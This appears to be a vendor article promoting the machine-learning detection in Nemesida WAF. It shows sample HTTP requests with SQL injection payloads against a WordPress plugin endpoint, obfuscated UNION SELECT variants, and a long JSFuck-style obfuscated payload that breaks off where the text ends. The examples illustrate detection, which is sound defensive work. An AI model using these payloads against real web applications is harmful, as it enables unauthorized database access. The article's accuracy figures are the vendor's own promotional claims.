Artificial Intelligence Nemesida WAF

It is believed that artificial intelligence is nothing more than a marketing ploy. In the article, we will show how the artificial intelligence of Nemesida WAF can detect and block attacks on web applications with amazing accuracy of 99.96%.

Theory: the principle of work of Nemesida AI

Machine learning (pattern recognition, or, as it is now fashionable to say, artificial intelligence) is used in areas where data analysis performed by a person becomes impossible due to large amounts of information or incomplete information. In general, when we have accumulated more than a million requests to various web applications in our arsenal, the decision on the need to use machine learning has matured by itself.

Based on the analysis of scientific research and existing prototypes, the scheme of work of Nemeisda AI was constructed, and after analyzing the data, a characteristic space of elements was formed. Since most of the signs are textual, they were vectorized for further use in the recognition algorithm. Since the query fields are not separate words, and often consist of sequences of characters, it was decided to use an approach based on the n-gram frequency analysis (TF-IDF).
')
Analysis of the available data allowed us to form the feature space, on the basis of which the classifier was built. The task of detecting attacks from a mathematical point of view was formalized as a classical classification problem (two classes: legitimate and illegitimate traffic). The choice of algorithms was made according to the criterion of the availability of implementation and the possibility of testing. The gradient booster algorithm (AdaBoost) showed itself in the best way, which allowed for 100 million requests to provide 99.96% accuracy with a level of false positives less than 0.04%. Thus, after training, the Nemesida WAF decision is made based on the statistical properties of the analyzed data, and not on the basis of deterministic signs (signatures) of attacks.

The lack of a signature attack detection method compared to AI is obvious - a high probability of bypassing WAF with a large number of false positives (from 5% to 15%). However, signature analysis is the main source of training and provides basic protection for a web application for the period of training Nemesida AI.

Attacks, false positives and artificial intelligence

In order to understand how Nemesida AI works and what opportunities it provides, let's look at a few examples.

Block attack by signature method
An example of an attack that will be blocked by the signature method. Such a request will be blocked due to the occurrence of the chain of UNION + SELECT signatures:

Example 1 - SQL Injection Operation

POST /wp-content/plugins/answer-my-question/modal.php HTTP / 1.1
Host: vulns.pentestit.ru
User-Agent: Mozilla / 5.0 (X11; Ubuntu; Linux x86_64; rv: 56.0) Gecko / 20100101 Firefox / 56.0
Accept: text / html, application / xhtml + xml, application / xml; q = 0.9, * / *; q = 0.8
Accept-Language: en-US, en; q = 0.5
Accept-Encoding: gzip, deflate
Content-Type: application / x-www-form-urlencoded
Content-Length: 113
Cookie: _ym_uid = 1505734077122804829; _ym_isad = 2; _ym_visorc_45042173 = w
Connection: close
Upgrade-Insecure-Requests: 1

id = 0 + UNION + SELECT + 1% 2C2% 2C3% 2C4% 2C5% 2C6% 2Cslug% 2Cterm_group% 2Cname% 2C10% 2C11% 2C12 +
FROM + wp_terms + WHERE + term_id% 3D1

In this example, the request will be blocked by the Nemesida WAF signature module, despite partial obfuscation:

Example 2 - SQL Injection Operation

action = getTopic & topic_id = 1 anD0 unio% 4e% 0a sELEc% 74% 23% 0a 0b00111001001110010011111001001110010011100100100000011101010110111001101001011011110110111000
10000001110011011001010110110001100101011000110111010000100000001100010011000100101100011000
11011011110110111001100011011000010111010001011111011101110111001100101000001100000111100000
11001101100001001011000111010101110011011001010111001001011111011011000110111101100111011010
01011011100010110001110101011100110110010101110010010111110111000001100001011111111111001100
10110001110101011100110110010101110010010111110110010101101101011000010110100101101100001010
01001000000110011001110010011011110110110100100000011101110111000001011111011101010111001101
10010101110010011100110010000001101100011010010110110101101001011101000010000110001001000
0000101101001011010010000000101101,12,13,14,15,16,17,18,1,2% 0a & group_id = 0

id = -1 uniO% 6e / * a * / seLEC% 74 {d1}, {d2}, {d3}, {d4}, {d0}, {d6}, {d7}, {d (% 23% 0aseLEC % 74 {a0x3c})}, NULL, {d10}, {d11}, {d12} -

False alarms during signature analysis
Now consider examples of requests that are not attacks on a web application, but WAF will still be blocked. The result of processing such a request is a false positive:

Example 3 - false positives with signature attack detection

GET / function shift () {[native code]} HTTP / 1.1
Host: vulns.pentestit.ru
User-Agent: Mozilla / 5.0 (X11; Ubuntu; Linux x86_64; rv: 56.0) Gecko / 20100101 Firefox / 56.0
Accept: text / html, application / xhtml + xml, application / xml; q = 0.9, * / *; q = 0.8
Accept-Language: en-US, en; q = 0.5
Accept-Encoding: gzip, deflate
Cookie: _ym_uid = 1505734077122804829; _ym_isad = 2; _ym_visorc_45042173 = w
Connection: close
Upgrade-Insecure-Requests: 1

Processing the request below will also result in a false positive when using the signature attack detection method:

Example 4 - false positives with signature attack detection

GET /.../news HTTP / 1.1
Host: vulns.pentestit.ru
User-agent: Mozilla / 5.0 (compatible; Googlebot / 2.1; + http: //www.google.com/bot.html)
Accept: text / html, application / xhtml + xml, application / xml; q = 0.9, * / *; q = 0.8
Accept-Language: en-US, en; q = 0.5
Accept-Encoding: gzip, deflate
Cookie: _ym_uid = 1505734077122804829; _ym_isad = 2; _ym_visorc_45042173 = w
Connection: close
Upgrade-Insecure-Requests: 1

Nemesida AI in action: we increase the accuracy of attack detection, eliminating false positives

Consider attacks that are not determined by the signature method, but will be blocked by Nemesida AI:

Example 5 - Payload Obfuscation

POST /wp-content/plugins/answer-my-question/modal.php HTTP / 1.1
Host: vulns.pentestit.ru
User-Agent: Mozilla / 5.0 (X11; Linux x86_64; rv: 52.0) Gecko / 20100101 Firefox / 52.0
Accept: * / *
Accept-Language: en-US, en; q = 0.5
Content-Type: application / x-www-form-urlencoded
Connection: close
Content-Length: 78053

id = -1 ([] [[]] + []) [+ []] + ([] [[]] + []) [+! + []] + (+ (+! + [] + ( ! + [] + []) [! + [] +! + [] +! + []] + [+! + []] + [+ []] + [+ []] + [+ [] ) + []) [+ []] + ([] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! []] [] ) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []] [[[] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + [] ] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + [ ]) [+! + []]] + []) [! + [] +! + [] +! + []] + (!! [] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + [] ] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + [ ]) [+! + []]]) [+! + [] + [+ []]] + ([] [[]] + []) [+! + []] + (! [] + [ ]) [! + [] +! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [+! + []] + ([] [[]] + []) [+ []] + ([] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + ( !! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] + []) [! + [ ] +! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + ( !! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [ +! + []]]) [+! + [] + [+ []]] + (!! [] + []) [+! + []]] ((!! []] [[]) [ +! + []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+ []] + ([] [[]] + []) [+ []] + (!! [] + []) [+! + []] + ([] [[]] + []) [+! + [ ]] + (+ [! []] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [ + []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] [+! + [] + [+! + []] + ([] [[]] + []) [+! + []] + (!! [] + []) [! + [] +! + [] +! + []] + (+ (! + [] +! + [] +! + [] + [! + [] +! + []])) [(!! []] [[]) [+ []] + (!! [] + [ ] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + [ ]) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]]) [+! + [] + [+ []]] + (+! [] + ([] + [] [([] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [ ] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [ ] +! + []] + (!! [] + []) [+! + []]] + []) [! + [] +! + [] +! + []] + (!! [ ] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [ ] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [ ] +! + []] + (!! [] + []) [+! + []]]) [+! + [] + [+ []]] + ([] [[]] + [] ) [+! + []] + (! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+ []] + ( !! [] + []) [+! + []] + ([] [[]] + []) [+ []] + ([] [(! [] + []) [+ [] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + ( !! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [ +! + []]] + []) [! + [] +! + [] +! + []] + (!! []] []) [+ []] + (!! [] + [ ] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + [ ]) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]]) [+! + [] + [+ []]] + (!! [] + []) [+! + []]]) [+! + [] + [+ []]] + (!! [] + []) [+ []] + (!! [] + []) [+! + []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + ([] [[]] + []) [+! + []] + (+ ! [] + [! []] + ([] + []) [([] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + ( !! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] + []) [! + [ ] +! + [] +! + []] + (!! [] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + ( !! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] [+! + [] + [+ []]] + ([] [[]] + []) [+! + []] + (! [] + []) [! + [] +! + [] +! + [] + (!! [] + []) [+ []] + (!! [] + []) [+! + []] + ([] [[]] + []) [+ []] + ([] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [ ] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]]) [+! + [] + [+ [ ]]] + (!! [] + []) [+! + []]]) [! + [] +! + [] + [+ []]]] (! + [] +! + [] +! + [] + [! + [] +! + [] +! + []]) + (+ [! []] + [] [(! [] + []) [+ []] + ( [! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]]) [+! + [] + [+! + []]] + [] [(! [] + []) [+ []] + ([! []] + [] [[ ]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ [] ] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] [([] [ (! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + [] [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + [ ]] + (!! [] + []) [+! + []]] + []) [! + [] +! + [] +! + []] + (!! [] + [] [ (! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + [] [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + [ ]] + (!! [] + []) [+! + []]] [+! + [] + [+ []]] + ([] [[]] + []) [+! + []] + (! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [+! + []] + ([] [[]] + []) [+ []] + ([] [(! [] + []) [+ []] + ([! [ ]] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + [] ]] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + [] [(! [ ] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]]) [+! + [] + [+ []]] + (!! [] + []) [+! + []]] ( (!! [] + []) [+! + []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! []] [ ]) [+ []] + ([] [[]] + []) [+ []] + (!! [] + []) [+! + []] + ([] [[]] + []) [+! + []] + (+ [! []] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + ( !! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] [+! + [] + [+! + []]] + (!! [] + []) [! + [] +! + [] +! + []] + (! [] + []) [! + [] +! + [] +! + []] + ([] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [ + []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] + []) [! + [] +! + [] +! + []] + (! [] + []) [+! + []] + (+ (! + [] +! + [] + [+! + []] + [+! + []]) ) [(!! [] + []) [+ []] + (!! [] + [] [(! [] + []) [+ []] + ([! []] + [] [ []]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ [ ]] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]]) [+! + [] + [+ []]] + (+! [] + ([] + []) [([] [(! [] + []) [+ []] + ([! []] [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + [] [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] + []) [! + [] +! + [] +! + []] + (!! [] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + [] [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]]) [+! + [] + [+ []]] + ([] [[]] + []) [+! + []] + (! [] + []) [! + [] +! + [ ] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [+! + []] + ([] [[]] + [] ) [+ []] + ([] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ [] ]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] + []) [! + [] +! + [] +! + [] ] + (!! [] + []) [+ []] + (!! [] + [] [(! [] + []) [+ []] + ([! []] + [] [ []]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ [ ]] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]]) [+! + [] + [+ []]] + (!! [] + []) [+! + []]]) [+! + [] + [+ []]] + (!! [] + [ ]) [+ []] + (!! [] + []) [+! + []] + ([! []] + [] [[]]) [+! + [] + [+ [] ]] + ([] [[]] + []) [+! + []] + (+! [] + [! []] + ([] + []) [([] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [ ] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + ( !! [] + []) [+! + []]] + []) [! + [] +! + [] +! + []] + (!! [] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [ ] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + ( !! [] + []) [+! + []]]) [+! + [] + [+ []]] + ([] [[]] + []) [+! + []] + (! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [ +! + []] + ([] [[]] + []) [+ []] + ([] [(! [] + []) [+ []] + ([! []] + [ ] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [ + []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] + [ ]) [! + [] +! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + [] [(! [] + [] ) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [ ] + []) [+! + []]]) [+! + [] + [+ []]] + (!! [] + []) [+! + []]]) [! + [ ] +! + [] + [+ []]]] (! + [] +! + [] +! + [] + [+! + []]) [+! + []] + (!! [ ] + []) [! + [] +! + [] +! + []]) () (([] + []) [(! [] + []) [+ []] + (!! [] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]]) [+! + [] + [+ []]] + ([] [[]] + [ ]) [+! + []] + (!! [] + []) [+ []] + ([] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + [] [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] + []) [! + [] +! + [] +! + []] + (!! [] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + [] [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + [] [(! [] + [] ) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [ ] + []) [+! + []]]) [+! + [] + [+ []]] + (!! [] + []) [+! + []]] () [+! + [] + [+! + []]]) [! + [] +! + []] + (! [] + []) [+! + []] + (!! [] + [] [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (! [] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + [] ] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + [ ]) [+! + []]]) [! + [] +! + [] + [+ []]] + [! + [] +! + []] + [! + [] +! + [ ] +! + [] +! + []] + [+ []] + [+ []] + [+ []] + [+ []] + [+ []] + [+ []] + [ + []] + [+ []] + [+ []] + (!! [] + [] [(! [] + []) [+ []] + ([! []] + [] [ []]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ [ ]] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]]) [! + [] +! + [] + [+ []]]) () + []) [! + [] +! + [] +! + [] +! + []] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [ ] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + ( !! [] + []) [+! + []]] [([] [(! [] + []) [+ []] + ([! []] + [] [[]]) [ +! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (! ! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] + []) [! + [] +! + [] +! + []] + (!! [] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [ +! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (! ! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] [+! + [] + [ + []]] + ([] [[]] + []) [+! + []] + (! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [+! + []] + ([] [[]] + []) [+ []] + ( [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] + ! + []] + (!! [] + []) [+! + []]] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] [+! + [] + [+ [] ]] + (!! [] + []) [+! + []]] ((!! [] + []) [+! + []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+ []] + ([] [[]] + []) [+ []] + (!! [ ] + []) [+! + []] + ([] [[]] + []) [+! + []] + (+ [! []] + [] [(! [] + [] ) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [ ] + []) [+! + []]]) [+! + [] + [+! + []]] + (!! [] + []) [! + [] +! + [] + ! + []] + (! [] + []) [! + [] +! + [] +! + []] + ([] [(! [] + []) [+ []] + ( [! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] + []) [! + [] +! + [] +! + []] + (! [] + []) [+! + []] + (+ (! + [] + ! + [] + [+! + []] + [+! + []])) [(!! [] + []) [+ []] + (!! [] + [] [(! [ ] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]]) [+! + [] + [+ []]] + (+! [] + ([] + []) [([] [ (! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + [] [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + [ ]] + (!! [] + []) [+! + []]] + []) [! + [] +! + [] +! + []] + (!! [] + [] [ (! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + [] [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + [ ]] + (!! [] + []) [+! + []]] [+! + [] + [+ []]] + ([] [[]] + []) [+! + []] + (! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [+! + []] + ([] [[]] + []) [+ []] + ([] [(! [] + []) [+ []] + ([! [ ]] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + [] ]] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + [] [(! [ ] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]]) [+! + [] + [+ []]] + (!! [] + []) [+! + []]] [+! + [] + [+ []]] + (!! [] + []) [+ []] + (!! [] + []) [+! + []] + ([! [ ]] + [] [[]]) [+! + [] + [+ []]] + ([] [[]] + []) [+! + []] + (+! [] + [ ! []] + ([] + []) [([] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [ ] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []] + []) [! + [] +! + [ ] +! + []] + (!! [] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + ] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]) [+! + [] + [+ []] ] + ([] [[]] + []) [+! + []] + (! [] + []) [! + [] +! + [] +! + []] + (!! [ ] + []) [+ []] + (!! [] + []) [+! + []] + ([] [[]] + []) [+ []] + ([] [( ! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) ! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + [] ] + (!! [] + []) [+! + []]] + []) [! + [] +! + [] +! + []] + (!! [] + []) [ + []] + (!! [] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [ + []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] [+! + [] + [+ []]] + ( !! [] + []) [+! + []]]) [! + [] +! + [] + [+ []]]] (! + [] +! + [] +! + [] + [+! + []]) [+! + []] + (!! [] + []) [! + [] +! + [] +! + []]) () (([] + []) [([! []] + [] [[]]) [+! + [] + [+ []]] + (!! [] + []) [+ []] + (! [ ] + []) [+! + []] + (! [+ []] [! + [] +! + []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + ([] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! []] [] ) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] + []) [! + [] +! + [] + ! + []] + (! [] + []) [! + [] +! + [] +! + []]] () [+ []]) [+ []] + [! + [] +! + [] +! + [] +! + [] +! + [] +! + []] + (!! [] + []) [! + [] +! + [] +! + [ ]] + (! [] + [+! []]) [([! []] + [] [[]]) [+! + [] + [+ []]] + (!! [] + []) [+ []] + (! [] + []) [+! + []] + (! [] + []) [! + [] +! + []] + ([! [] ] + [] [[]]) [+! + [] + [+ []]] + ([] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] + [] ) [! + [] +! + [] +! + []] + (! [] + []) [! + [] +! + [] +! + []]] () [+! + [ ] + [+ []]] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ [ ]]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] [([] [(! [] + []) [+ [] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + ( !! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [ +! + []]] + []) [! + [] +! + [] +! + []] + (!! [] + [] [(! [] + []) [+ [] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + ( !! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [ +! + []]]) [+! + [] + [+ []]] + ([] [[]] + []) [+! + []] + (! [] + []) ! + [] +! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [+! + []] + ([ ] [[]] + []) [+ []] + ([] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [ ] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + [] [(! [] + []) [+ []] + ([ ! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [ ] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]]) [+! + [] + [+ []]] + (!! [] + []) [+! + []]] ((!! !!] [[]) [+! + []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+ []] + ([] [[ ]] + []) [+ []] + (!! [] + []) [+! + []] + ([] [[]] + []) [+! + []] + (+ [! []] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]]) [+! + [] + [+! + []]] + ([] [ []] + []) [+ []] + ([] [[]] + []) [+! + []] + (!! [] + []) [! + [] +! + ] +! + []] + (! [] + []) [! + [] +! + [] +! + []] + ([] [(! [] + []) [+ [] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + ( !! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [ +! + []]] + []) [! + [] +! + [] +! + []] + (! [] + []) [+! + []] + (+ (! + [ ] +! + [] + [+! + []] + [+! + []])) [(!! [] + []) [+ []] + (!! [] + [] [( ! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) ! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + [] ] + (!! [] + []) [+! + []]] [+! + [] + [+ []]] + (+! [] + ([] + []) [([ ] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + [ ]) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] + []) [! + [] +! + [] +! + []] + (!! [] + [ ] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + [ ]) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]]) [+! + [] + [+ []]] + ([] [[]] + []) [+ ! + []] + (! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+ []] + (!! [ ] + []) [+! + []] + ([] [[]] + []) [+ []] + ([] [(! [] 